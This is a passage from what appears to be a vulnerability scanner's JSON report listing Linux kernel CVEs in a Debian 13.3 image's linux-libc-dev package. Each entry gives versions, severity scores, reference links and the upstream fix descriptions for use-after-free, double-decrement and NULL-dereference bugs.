"https://git.kernel.org/stable/c/894d9c7aab68fd0c70c78b1d03c8fa589fb0f67d", "https://git.kernel.org/stable/c/8bde3e395a85017f12af2b0ba5c3684f5af9c006", "https://git.kernel.org/stable/c/914b47c9b824d3d74f31c764163edf93302100b1", "https://git.kernel.org/stable/c/efd68429f23fb4015b0ebc2392334059e06fad18", "https://git.kernel.org/stable/c/f448acd86835a650f9ea83460b9ca347d3aafba5", "https://kernelcve.org/list/?q=CVE-2026-45914", "https://linux.oracle.com/cve/CVE-2026-45914.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026052723-CVE-2026-45914-eaae@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-45914", "https://ubuntu.com/security/notices/USN-8492-1", "https://ubuntu.com/security/notices/USN-8492-2", "https://ubuntu.com/security/notices/USN-8492-3", "https://ubuntu.com/security/notices/USN-8492-4", "https://ubuntu.com/security/notices/USN-8492-5", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8498-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://www.cve.org/CVERecord?id=CVE-2026-45914" ], "PublishedDate": "2026-05-27T14:17:06.18Z", "LastModifiedDate": "2026-06-24T14:55:01.837Z" }, { "VulnerabilityID": "CVE-2026-45916", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-45916", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b6dec51583257c41fb68e834a437817e79b97cb17153277c5c0e8b5beb215741", "Title": "kernel: power: supply: sbs-battery: Fix use-after-free in power_supply_changed()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\npower: supply: sbs-battery: Fix use-after-free in power_supply_changed()\n\nUsing the `devm_` variant for requesting IRQ _before_ the `devm_`\nvariant for allocating/registering the `power_supply` handle, means that\nthe `power_supply` handle will be deallocated/unregistered _before_ the\ninterrupt handler (since `devm_` naturally deallocates in reverse\nallocation order). This means that during removal, there is a race\ncondition where an interrupt can fire just _after_ the `power_supply`\nhandle has been freed, *but* just _before_ the corresponding\nunregistration of the IRQ handler has run.\n\nThis will lead to the IRQ handler calling `power_supply_changed()` with\na freed `power_supply` handle. Which usually crashes the system or\notherwise silently corrupts the memory...\n\nNote that there is a similar situation which can also happen during\n`probe()`; the possibility of an interrupt firing _before_ registering\nthe `power_supply` handle. This would then lead to the nasty situation\nof using the `power_supply` handle *uninitialized* in\n`power_supply_changed()`.\n\nFix this racy use-after-free by making sure the IRQ is requested _after_\nthe registration of the `power_supply` handle. Keep the old behavior of\njust printing a warning in case of any failures during the IRQ request\nand finishing the probe successfully.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "photon": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-45916", "https://git.kernel.org/linus/8d59cf3887fbabacef53bfba473e33e8a8d9d07b%20%287.0-rc1%29", "https://git.kernel.org/stable/c/14d4dee5d8fb361bfff275832087254beab66d72", "https://git.kernel.org/stable/c/2078830c32d1e49ac942c6f8c21f35c806ae5e94", "https://git.kernel.org/stable/c/8010b745b436c3e1ca5dd960aa29fa3e0f6d8841", "https://git.kernel.org/stable/c/82d3eb97a976c9d56bb92b241397610e57a9c629", "https://git.kernel.org/stable/c/861dda7a9074c0ff67788928165ae39d7f647491", "https://git.kernel.org/stable/c/8d59cf3887fbabacef53bfba473e33e8a8d9d07b", "https://git.kernel.org/stable/c/ca7dd71773e4e050b0fb98768b7eae60f8d1f38b", "https://git.kernel.org/stable/c/f1f472b14ad56104ba228b8fbec60d5b21829913", "https://linux.oracle.com/cve/CVE-2026-45916.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026052723-CVE-2026-45916-97a0@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-45916", "https://ubuntu.com/security/notices/USN-8492-1", "https://ubuntu.com/security/notices/USN-8492-2", "https://ubuntu.com/security/notices/USN-8492-3", "https://ubuntu.com/security/notices/USN-8492-4", "https://ubuntu.com/security/notices/USN-8492-5", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8498-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-45916" ], "PublishedDate": "2026-05-27T14:17:06.463Z", "LastModifiedDate": "2026-06-24T17:23:32.44Z" }, { "VulnerabilityID": "CVE-2026-45920", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-45920", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:86278b5ec6cbc0871cfd7d6c701fba57855ee404bc0c677fce170748873bfab0", "Title": "kernel: ext4: fix dirtyclusters double decrement on fs shutdown", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\next4: fix dirtyclusters double decrement on fs shutdown\n\nfstests test generic/388 occasionally reproduces a warning in\next4_put_super() associated with the dirty clusters count:\n\n WARNING: CPU: 7 PID: 76064 at fs/ext4/super.c:1324 ext4_put_super+0x48c/0x590 [ext4]\n\nTracing the failure shows that the warning fires due to an\ns_dirtyclusters_counter value of -1. IOW, this appears to be a\nspurious decrement as opposed to some sort of leak. Further tracing\nof the dirty cluster count deltas and an LLM scan of the resulting\noutput identified the cause as a double decrement in the error path\nbetween ext4_mb_mark_diskspace_used() and the caller\next4_mb_new_blocks().\n\nFirst, note that generic/388 is a shutdown vs. fsstress test and so\nproduces a random set of operations and shutdown injections. In the\nproblematic case, the shutdown triggers an error return from the\next4_handle_dirty_metadata() call(s) made from\next4_mb_mark_context(). The changed value is non-zero at this point,\nso ext4_mb_mark_diskspace_used() does not exit after the error\nbubbles up from ext4_mb_mark_context(). Instead, the former\ndecrements both cluster counters and returns the error up to\next4_mb_new_blocks(). The latter falls into the !ar-\u003elen out path\nwhich decrements the dirty clusters counter a second time, creating\nthe inconsistency.\n\nTo avoid this problem and simplify ownership of the cluster\nreservation in this codepath, lift the counter reduction to a single\nplace in the caller. This makes it more clear that\next4_mb_new_blocks() is responsible for acquiring cluster\nreservation (via ext4_claim_free_clusters()) in the !delalloc case\nas well as releasing it, regardless of whether it ends up consumed\nor returned due to failure.", "Severity": "HIGH", "CweIDs": [ "CWE-415" ], "VendorSeverity": { "amazon": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 1, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-45920", "https://git.kernel.org/linus/94a8cea54cd935c54fa2fba70354757c0fc245e3%20%287.0-rc1%29", "https://git.kernel.org/stable/c/3924aea2c33df3864929c1acd178bfc29d8f005f", "https://git.kernel.org/stable/c/523d5a4df3c649fa305c89efb552ec62a1ce9d3d", "https://git.kernel.org/stable/c/55576fa14771d33994c29a9ae960e07bb3f56c20", "https://git.kernel.org/stable/c/61e372122b6d95aec940fdaea0a16f988f359897", "https://git.kernel.org/stable/c/81982a11406c5da6c6e2b188028e7056e16b7128", "https://git.kernel.org/stable/c/94a8cea54cd935c54fa2fba70354757c0fc245e3", "https://git.kernel.org/stable/c/ca408af08544d96769c93a3d81a7f63f61129e95", "https://git.kernel.org/stable/c/dbc4e10619ed87a50e637b96f2e574df36a7a769", "https://linux.oracle.com/cve/CVE-2026-45920.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026052724-CVE-2026-45920-db68@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-45920", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-45920" ], "PublishedDate": "2026-05-27T14:17:06.93Z", "LastModifiedDate": "2026-11-06T16:18:52.317Z" }, { "VulnerabilityID": "CVE-2026-45936", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-45936", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:d00247abbca5e5394716444210ba18827000054f90a826e82914afd2b3470737", "Title": "kernel: power: supply: goldfish: Fix use-after-free in power_supply_changed()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\npower: supply: goldfish: Fix use-after-free in power_supply_changed()\n\nUsing the `devm_` variant for requesting IRQ _before_ the `devm_`\nvariant for allocating/registering the `power_supply` handle, means that\nthe `power_supply` handle will be deallocated/unregistered _before_ the\ninterrupt handler (since `devm_` naturally deallocates in reverse\nallocation order). This means that during removal, there is a race\ncondition where an interrupt can fire just _after_ the `power_supply`\nhandle has been freed, *but* just _before_ the corresponding\nunregistration of the IRQ handler has run.\n\nThis will lead to the IRQ handler calling `power_supply_changed()` with\na freed `power_supply` handle. Which usually crashes the system or\notherwise silently corrupts the memory...\n\nNote that there is a similar situation which can also happen during\n`probe()`; the possibility of an interrupt firing _before_ registering\nthe `power_supply` handle. This would then lead to the nasty situation\nof using the `power_supply` handle *uninitialized* in\n`power_supply_changed()`.\n\nFix this racy use-after-free by making sure the IRQ is requested _after_\nthe registration of the `power_supply` handle.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "photon": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-45936", "https://git.kernel.org/linus/b2ce982e2e0c888dc55c888ad0e20ea04daf2e6b%20%287.0-rc1%29", "https://git.kernel.org/stable/c/0b29ffe4090a3fc7a7649de20e1eb1e53adddac7", "https://git.kernel.org/stable/c/33751e28842bf5aee5ef7b2b8d5e456a069095cb", "https://git.kernel.org/stable/c/4350505e82b4f972ddb788e1c712c557c38859d0", "https://git.kernel.org/stable/c/589d4fe56713c6344cd9f8939f9c7621c85f0966", "https://git.kernel.org/stable/c/77ea437faa4c06362e3ecfd2d7264eaa7ac1e82c", "https://git.kernel.org/stable/c/8c89aade8335e26a6a7dcda18992d15f51943927", "https://git.kernel.org/stable/c/b2ce982e2e0c888dc55c888ad0e20ea04daf2e6b", "https://git.kernel.org/stable/c/bad8b61eb5059acd88349680e47839342dc89e94", "https://lore.kernel.org/linux-cve-announce/2026052728-CVE-2026-45936-d84c@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-45936", "https://ubuntu.com/security/notices/USN-8492-1", "https://ubuntu.com/security/notices/USN-8492-2", "https://ubuntu.com/security/notices/USN-8492-3", "https://ubuntu.com/security/notices/USN-8492-4", "https://ubuntu.com/security/notices/USN-8492-5", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8498-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-45936" ], "PublishedDate": "2026-05-27T14:17:09.74Z", "LastModifiedDate": "2026-06-24T17:10:03.263Z" }, { "VulnerabilityID": "CVE-2026-45938", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-45938", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:01639db13f0073b30527c40dce19dd3db94599b5d3f97206de8655638a2a92ba", "Title": "kernel: power: supply: pm8916_lbc: Fix use-after-free in power_supply_changed()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\npower: supply: pm8916_lbc: Fix use-after-free in power_supply_changed()\n\nUsing the `devm_` variant for requesting IRQ _before_ the `devm_`\nvariant for allocating/registering the `power_supply` handle, means that\nthe `power_supply` handle will be deallocated/unregistered _before_ the\ninterrupt handler (since `devm_` naturally deallocates in reverse\nallocation order). This means that during removal, there is a race\ncondition where an interrupt can fire just _after_ the `power_supply`\nhandle has been freed, *but* just _before_ the corresponding\nunregistration of the IRQ handler has run.\n\nThis will lead to the IRQ handler calling `power_supply_changed()` with\na freed `power_supply` handle. Which usually crashes the system or\notherwise silently corrupts the memory...\n\nNote that there is a similar situation which can also happen during\n`probe()`; the possibility of an interrupt firing _before_ registering\nthe `power_supply` handle. This would then lead to the nasty situation\nof using the `power_supply` handle *uninitialized* in\n`power_supply_changed()`.\n\nFix this racy use-after-free by making sure the IRQ is requested _after_\nthe registration of the `power_supply` handle.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-45938", "https://git.kernel.org/linus/b7508129978ae1e2ed9b0410396abc05def9c4eb%20%287.0-rc1%29", "https://git.kernel.org/stable/c/08e674e9862a2db46fb234eb7c5442455ece0131", "https://git.kernel.org/stable/c/b7508129978ae1e2ed9b0410396abc05def9c4eb", "https://git.kernel.org/stable/c/d7d31fc99d248d5f47588f50dce5c7599c991c6a", "https://git.kernel.org/stable/c/dbe579e620ef0f53db490ec79a8566e4ea8918ac", "https://lore.kernel.org/linux-cve-announce/2026052728-CVE-2026-45938-0bb2@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-45938", "https://ubuntu.com/security/notices/USN-8492-1", "https://ubuntu.com/security/notices/USN-8492-2", "https://ubuntu.com/security/notices/USN-8492-3", "https://ubuntu.com/security/notices/USN-8492-4", "https://ubuntu.com/security/notices/USN-8492-5", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8498-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://www.cve.org/CVERecord?id=CVE-2026-45938" ], "PublishedDate": "2026-05-27T14:17:09.977Z", "LastModifiedDate": "2026-06-24T17:09:45.763Z" }, { "VulnerabilityID": "CVE-2026-45943", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-45943", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:1dae32904983f10d5983b30ae1b5ca635dd383a684533c3291365411091d5284", "Title": "kernel: erofs: fix inline data read failure for ztailpacking pclusters", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nerofs: fix inline data read failure for ztailpacking pclusters\n\nCompressed folios for ztailpacking pclusters must be valid before adding\nthese pclusters to I/O chains. Otherwise, z_erofs_decompress_pcluster()\nmay assume they are already valid and then trigger a NULL pointer\ndereference.\n\nIt is somewhat hard to reproduce because the inline data is in the same\nblock as the tail of the compressed indexes, which are usually read just\nbefore. However, it may still happen if a fatal signal arrives while\nread_mapping_folio() is running, as shown below:\n\n erofs: (device dm-1): z_erofs_pcluster_begin: failed to get inline data -4\n Unable to handle kernel NULL pointer dereference at virtual address 0000000000000008\n\n ...\n\n pc : z_erofs_decompress_queue+0x4c8/0xa14\n lr : z_erofs_decompress_queue+0x160/0xa14\n sp : ffffffc08b3eb3a0\n x29: ffffffc08b3eb570 x28: ffffffc08b3eb418 x27: 0000000000001000\n x26: ffffff8086ebdbb8 x25: ffffff8086ebdbb8 x24: 0000000000000001\n x23: 0000000000000008 x22: 00000000fffffffb x21: dead000000000700\n x20: 00000000000015e7 x19: ffffff808babb400 x18: ffffffc089edc098\n x17: 00000000c006287d x16: 00000000c006287d x15: 0000000000000004\n x14: ffffff80ba8f8000 x13: 0000000000000004 x12: 00000006589a77c9\n x11: 0000000000000015 x10: 0000000000000000 x9 : 0000000000000000\n x8 : 0000000000000000 x7 : 0000000000000000 x6 : 000000000000003f\n x5 : 0000000000000040 x4 : ffffffffffffffe0 x3 : 0000000000000020\n x2 : 0000000000000008 x1 : 0000000000000000 x0 : 0000000000000000\n Call trace:\n z_erofs_decompress_queue+0x4c8/0xa14\n z_erofs_runqueue+0x908/0x97c\n z_erofs_read_folio+0x128/0x228\n filemap_read_folio+0x68/0x128\n filemap_get_pages+0x44c/0x8b4\n filemap_read+0x12c/0x5b8\n generic_file_read_iter+0x4c/0x15c\n do_iter_readv_writev+0x188/0x1e0\n vfs_iter_read+0xac/0x1a4\n backing_file_read_iter+0x170/0x34c\n ovl_read_iter+0xf0/0x140\n vfs_read+0x28c/0x344\n ksys_read+0x80/0xf0\n __arm64_sys_read+0x24/0x34\n invoke_syscall+0x60/0x114\n el0_svc_common+0x88/0xe4\n do_el0_svc+0x24/0x30\n el0_svc+0x40/0xa8\n el0t_64_sync_handler+0x70/0xbc\n el0t_64_sync+0x1bc/0x1c0\n\nFix this by reading the inline data before allocating and adding\nthe pclusters to the I/O chains.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "amazon": 3, "nvd": 3, "oracle-oval": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-45943", "https://git.kernel.org/linus/c134a40f86efb8d6b5a949ef70e06d5752209be5%20%287.0-rc1%29", "https://git.kernel.org/stable/c/237e0524a53812706e4cad30f40ef6c3213a2a92", "https://git.kernel.org/stable/c/5de1aa0bf3a5db0b3cbf61959da5ac61250833ed", "https://git.kernel.org/stable/c/92088bd9aa2a7246bba8b9648fbc64edd173cf17", "https://git.kernel.org/stable/c/9ac759f2fb20b0cc3e367ce965b7279ea3919505", "https://git.kernel.org/stable/c/ad07ea069f924465061cfee40ef2861bb99f4dd8", "https://git.kernel.org/stable/c/c134a40f86efb8d6b5a949ef70e06d5752209be5", "https://kernelcve.org/list/?q=CVE-2026-45943", "https://linux.oracle.com/cve/CVE-2026-45943.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026052729-CVE-2026-45943-be8d@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-45943", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://www.cve.org/CVERecord?id=CVE-2026-45943" ], "PublishedDate": "2026-05-27T14:17:10.557Z", "LastModifiedDate": "2026-10-30T13:18:54.033Z" }, { "VulnerabilityID": "CVE-2026-45946", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-45946", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:08731ff3f92af6a785c6b90c70a526780b4ddf7fee54e7852d2aad9fa81cd181", "Title": "kernel: power: supply: ab8500: Fix use-after-free in power_supply_changed()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\npower: supply: ab8500: Fix use-after-free in power_supply_changed()\n\nUsing the `devm_` variant for requesting IRQ _before_ the `devm_`\nvariant for allocating/registering the `power_supply` handle, means that\nthe `power_supply` handle will be deallocated/unregistered _before_ the\ninterrupt handler (since `devm_` naturally deallocates in reverse\nallocation order). This means that during removal, there is a race\ncondition where an interrupt can fire just _after_ the `power_supply`\nhandle has been freed, *but* just _before_ the corresponding\nunregistration of the IRQ handler has run.\n\nThis will lead to the IRQ handler calling `power_supply_changed()` with\na freed `power_supply` handle. Which usually crashes the system or\notherwise silently corrupts the memory...\n\nNote that there is a similar situation which can also happen during\n`probe()`; the possibility of an interrupt firing _before_ registering\nthe `power_supply` handle. This would then lead to the nasty situation\nof using the `power_supply` handle *uninitialized* in\n`power_supply_changed()`.\n\nCommit 1c1f13a006ed (\"power: supply: ab8500: Move to componentized\nbinding\") introduced this issue during a refactorization. Fix this racy\nuse-after-free by making sure the IRQ is requested _after_ the\nregistration of the `power_supply` handle.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "photon": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-45946", "https://git.kernel.org/linus/c4af8a98bb52825a5331ae1d0604c0ea6956ba4b%20%287.0-rc1%29", "https://git.kernel.org/stable/c/43cbb78ee047b9b12d096d40e3be265969d4c1f8", "https://git.kernel.org/stable/c/46dbda27b028d78087667e8280966b99cec015ca", "https://git.kernel.org/stable/c/551672981fe227122258a25a385a05f5c0746ad6", "https://git.kernel.org/stable/c/709db4b476e254579d9c48ec34d397a41ca0c407", "https://git.kernel.org/stable/c/847eeb6c0efcd76c7def73857cf798a4fcd8f79b", "https://git.kernel.org/stable/c/c4af8a98bb52825a5331ae1d0604c0ea6956ba4b", "https://git.kernel.org/stable/c/f50433f2603def08b21a4bf2fd238687fb5cbde9", "https://lore.kernel.org/linux-cve-announce/2026052730-CVE-2026-45946-705a@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-45946", "https://ubuntu.com/security/notices/USN-8492-1", "https://ubuntu.com/security/notices/USN-8492-2", "https://ubuntu.com/security/notices/USN-8492-3", "https://ubuntu.com/security/notices/USN-8492-4", "https://ubuntu.com/security/notices/USN-8492-5", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8498-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-45946" ], "PublishedDate": "2026-05-27T14:17:10.9Z", "LastModifiedDate": "2026-06-17T10:52:46.477Z" }, { "VulnerabilityID": "CVE-2026-45957", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": 